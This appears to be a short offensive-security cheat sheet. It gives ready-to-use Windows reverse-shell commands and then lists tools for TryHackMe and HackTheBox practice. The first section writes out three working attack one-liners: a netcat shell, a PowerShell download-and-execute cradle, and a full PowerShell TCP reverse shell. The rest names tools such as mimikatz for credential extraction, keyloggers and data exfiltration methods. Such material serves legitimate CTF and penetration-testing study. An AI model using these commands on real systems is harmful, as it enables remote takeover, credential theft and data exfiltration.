reverse shell for windows machines

Here are some examples of commands that can be used to open reverse shells on a Windows machine:


  • This command uses the nc (netcat) utility to open a reverse shell to the specified IP address and port, using the cmd.exe command shell

nc -e cmd.exe IP PORT


  • This command uses PowerShell to download a payload from a specified IP address and port, which can be used to open a reverse shell.

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://IP:PORT/payload')" 


  • This command uses PowerShell to open a reverse shell, connecting to the specified IP address and port.

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" 


It's important to note that you'll need to have a listener running on your machine to catch the reverse shell and interact with the target machine

basic commands for tryhackme and hackthebox

In general, the commands used for these platforms would be similar to those used in real-world penetration testing and ethical hacking scenarios, such as:

  • Network reconnaissance and scanning (e.g. nmap, ping, traceroute)
  • Enumeration of services and vulnerabilities (e.g. dirb, gobuster, nikto)
  • Exploitation of vulnerabilities (e.g. metasploit, exploitdb)
  • Privilege escalation (e.g. linenum, unix-privesc-check)
  • Post-exploitation tasks (e.g. powershell, nc, bash)
  • Data exfiltration (e.g. ftp, scp, sftp)


 Network reconnaissance and scanning:

nmap - a network scanner that can be used to identify open ports and services on a Windows machine.

netstat - a command-line utility that can be used to display active network connections and open ports on a Windows machine.


Enumeration of services and vulnerabilities:

dirb or dirbuster - a tool that can be used to brute-force directory and file names on a Windows machine.

powershell - a command-line shell and scripting language that can be used to enumerate system information, such as installed software and network configuration.


Exploitation of vulnerabilities:

metasploit - a popular framework for exploiting vulnerabilities in Windows and other systems.

exploitdb - a database of exploits that can be used to target specific vulnerabilities in Windows systems.


Privilege escalation:

linenum or unix-privesc-check - scripts that can be used to check for privilege escalation vectors on Linux systems, but there are similar tools like WinPEAS for Windows

mimikatz - a tool that can be used to extract credentials from Windows systems, which can be used for privilege escalation.


Post-exploitation tasks:

nc - a command-line utility that can be used to open reverse shells on Windows machines.

powershell - can also be used for post-exploitation tasks, such as creating backdoors and running keyloggers.


Data exfiltration:

ftp, scp, sftp - tools that can be used to exfiltrate data from Windows machines.

powershell - can also be used to exfiltrate data, such as through the use of web requests to upload data to a remote server.
